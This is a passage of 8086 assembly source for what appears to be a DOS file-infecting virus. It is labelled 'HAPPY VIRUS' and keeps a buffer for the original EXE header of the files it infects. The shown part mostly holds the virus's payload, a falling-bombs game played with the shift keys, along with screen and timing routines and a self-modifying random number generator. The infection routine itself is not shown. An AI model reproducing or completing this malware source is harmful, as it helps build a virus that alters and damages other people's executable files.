  1006.                 int     10
  1007.  
  1008.                 mov     si,offset endmess       ;Print message 'You reached..'.
  1009.                 mov     di,40d*2*24d
  1010.                 mov     cx,18d
  1011.                 call    print_it
  1012.  
  1013.                 mov     al,byte ptr [level]     ;Print reached level.
  1014.                 add     al,30
  1015.                 stosw
  1016.  
  1017.                 add     di,20d                  ;Print message 'Play again?'.
  1018.                 mov     cl,11d
  1019.                 call    print_it
  1020.  
  1021.  
  1022.                 call    wachttoets              ;Wait for key or timeout.
  1023.                 jz      stop_echt
  1024.                 or      al,20
  1025.                 cmp     al,'y'                  ;Play again if 'Y' was
  1026.                 jne     stop_echt               ;pressed.
  1027.                 jmp     start_game
  1028.  
  1029. stop_echt:      pop     cx
  1030.                 mov     ah,1
  1031.                 int     10
  1032.  
  1033.                 pop     ax                      ;clear screen
  1034.                 int     10
  1035.  
  1036.                 ret
  1037.  
  1038.  
  1039. ;------------------------------------------------------------------------------
  1040. ;               Print CX characters from DS:SI to ES:DI
  1041. ;------------------------------------------------------------------------------
  1042.  
  1043. print_it:       lodsb
  1044.                 mov     ah,7
  1045.                 stosw
  1046.                 loop    print_it
  1047.                 ret
  1048.  
  1049.  
  1050. ;------------------------------------------------------------------------------
  1051. ;               Print CX characters from DS:SI to ES:DI (wide)
  1052. ;------------------------------------------------------------------------------
  1053.  
  1054. print_it2:      lodsb
  1055.                 mov     ah,7
  1056.                 stosw
  1057.                 mov     al,20
  1058.                 stosw
  1059.                 loop    print_it2
  1060.                 ret
  1061.  
  1062.  
  1063. ;------------------------------------------------------------------------------
  1064. ;               Go to position on screen.
  1065. ;------------------------------------------------------------------------------
  1066.  
  1067. gotopos:        cbw
  1068.                 shl     ax,1
  1069.                 mov     di,40d*2*12d
  1070.                 add     di,ax
  1071.                 ret
  1072.  
  1073.  
  1074. ;------------------------------------------------------------------------------
  1075. ;               Scroll the screen up AL rows
  1076. ;------------------------------------------------------------------------------
  1077.  
  1078. scroll_screen:  push    bx
  1079.                 mov     ah,06
  1080.                 mov     bh,7
  1081.                 mov     cx,0
  1082.                 mov     dx,(25d-1)*100+(40d-1)
  1083.                 int     10
  1084.                 pop     bx
  1085.                 ret
  1086.  
  1087.  
  1088. ;------------------------------------------------------------------------------
  1089. ;               Print some bombs at bottom row.
  1090. ;------------------------------------------------------------------------------
  1091.  
  1092. print_bombs:    mov     cl,byte ptr [bombs]     ;Number of bombs.
  1093.                 xor     ch,ch
  1094. bomb_lup:       call    rnd_get                 ;Calculate position.
  1095.                 cmp     al,(40d-1)
  1096.                 ja      bomb_lup
  1097.                 cbw
  1098.                 shl     ax,1
  1099.                 mov     di,40d*2*(25d-1)
  1100.                 add     di,ax
  1101.                 mov     al,byte ptr [kleur]     ;Calculate color.
  1102.                 mov     bx,offset colors
  1103.                 xlat
  1104.                 xchg    ah,al
  1105.                 mov     al,0FE                  ;Print bomb.
  1106.                 stosw
  1107.                 loop    bomb_lup
  1108.                 ret
  1109.  
  1110.  
  1111. ;------------------------------------------------------------------------------
  1112. ;               Wait a short time.
  1113. ;------------------------------------------------------------------------------
  1114.  
  1115. wacht:          mov     dx,word ptr [tijd]
  1116.                 add     dx,2
  1117.                 xor     ax,ax
  1118.                 mov     ds,ax
  1119. time_lup:       mov     ax,ds:[046C]            ;Get current time.
  1120.                 cmp     ax,dx
  1121.                 jb      time_lup
  1122.                 
  1123.                 push    cs
  1124.                 pop     ds
  1125.                 mov     word ptr [tijd],ax
  1126.                 ret
  1127.  
  1128.  
  1129. ;------------------------------------------------------------------------------
  1130. ;               Wait for timeout or keypress.
  1131. ;------------------------------------------------------------------------------
  1132.  
  1133. wachttoets:     mov     ah,1                    ;Empty keyboard buffer.
  1134.                 int     16
  1135.                 jz      now_empty
  1136.                 xor     ah,ah
  1137.                 int     16
  1138.                 jmp     short wachttoets
  1139.  
  1140. now_empty:      xor     ax,ax
  1141.                 mov     ds,ax
  1142.                 mov     dx,ds:[046C]
  1143.                 add     dx,18d*8
  1144. wt_lup:         mov     ah,1                    ;Check key.
  1145.                 int     16
  1146.                 jnz     stop_waiting
  1147.                 mov     ax,ds:[046C]            ;Check time.
  1148.                 cmp     ax,dx
  1149.                 jb      wt_lup
  1150.                 
  1151. stop_waiting:   push    cs
  1152.                 pop     ds
  1153.                 ret
  1154.  
  1155.  
  1156. ;------------------------------------------------------------------------------
  1157. ;               Check if shift key's are pressed.
  1158. ;------------------------------------------------------------------------------
  1159.  
  1160. check_key:      mov     ah,2
  1161.                 int     16
  1162.  
  1163.                 test    al,1
  1164.                 jz      not_right
  1165.                 cmp     byte ptr [pos],(40d-1)
  1166.                 je      not_right
  1167.                 inc     byte ptr [pos]
  1168.                 ret
  1169.  
  1170. not_right:      test    al,2
  1171.                 jz      no_key
  1172.                 cmp     byte ptr [pos],0
  1173.                 je      no_key
  1174.                 dec     byte ptr [pos]
  1175. no_key:         ret
  1176.  
  1177.  
  1178. ;------------------------------------------------------------------------------
  1179. ;               Random number generator.
  1180. ;------------------------------------------------------------------------------
  1181.  
  1182. rnd_init:       push    ax
  1183.                 push    cx
  1184.                 call    rnd_init0               ;init
  1185.                 and     ax,000F
  1186.                 inc     ax
  1187.                 xchg    ax,cx
  1188. random_lup:     call    rnd_get                 ;call random routine a few
  1189.                 loop    random_lup              ;  times to 'warm up'
  1190.                 pop     cx
  1191.                 pop     ax
  1192.                 ret
  1193.  
  1194. rnd_init0:      push    dx                      ;initialize generator
  1195.                 push    cx
  1196.                 push    ds
  1197.                 xor     ax,ax
  1198.                 mov     ds,ax
  1199.                 in      al,40
  1200.                 mov     ah,al
  1201.                 in      al,40
  1202.                 xor     ax,word ptr ds:[041E]
  1203.                 mov     dx,word ptr ds:[046C]
  1204.                 xor     dx,ax
  1205.                 pop     ds
  1206.                 jmp     short move_rnd
  1207.  
  1208. nonzero_get:    call    rnd_get
  1209.                 or      ax,ax
  1210.                 jz      nonzero_get
  1211.                 ret
  1212.  
  1213. rnd_get:        push    dx                      ;calculate a random number
  1214.                 push    cx
  1215.                 push    bx
  1216.                 in      al,40
  1217. values:         add     ax,0                    ;will be: mov ax,xxxx
  1218.                 mov     dx,0                    ;  and mov dx,xxxx
  1219.                 mov     cx,7
  1220. rnd_lup:        shl     ax,1
  1221.                 rcl     dx,1
  1222.                 mov     bl,al
  1223.                 xor     bl,dh
  1224.                 jns     rnd_l2
  1225.                 inc     al
  1226. rnd_l2:         loop    rnd_lup
  1227.                 pop     bx
  1228.  
  1229. move_rnd:       push    si
  1230.                 call    me
  1231. me:             pop     si
  1232.                 mov     word ptr cs:[si+(offset values-offset me)+1],ax
  1233.                 mov     word ptr cs:[si+(offset values-offset me)+4],dx
  1234.                 pop     si
  1235.                 mov     al,dl
  1236.                 pop     cx
  1237.                 pop     dx
  1238.                 ret
  1239.  
  1240.  
  1241. ;------------------------------------------------------------------------------
  1242. ;               Data
  1243. ;------------------------------------------------------------------------------
  1244.  
  1245. beginmess       db      'HAPPY VIRUS '
  1246.                 db      'Time to play a game '
  1247.                 db      '(Use shift keys)'
  1248.  
  1249.  
  1250. endmess         db      'You reached level '
  1251.                 db      'Play again?'
  1252.  
  1253. colors          db      4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0
  1254.  
  1255.  
  1256. orgvalues       db      3, (40d/2)
  1257.  
  1258. buffer          db      (BUFLEN) dup ('#')      ;Buffer for orig. EXE header.
  1259.  
  1260.  
  1261. last:
  1262.                 end    first
  1263.  
  1264.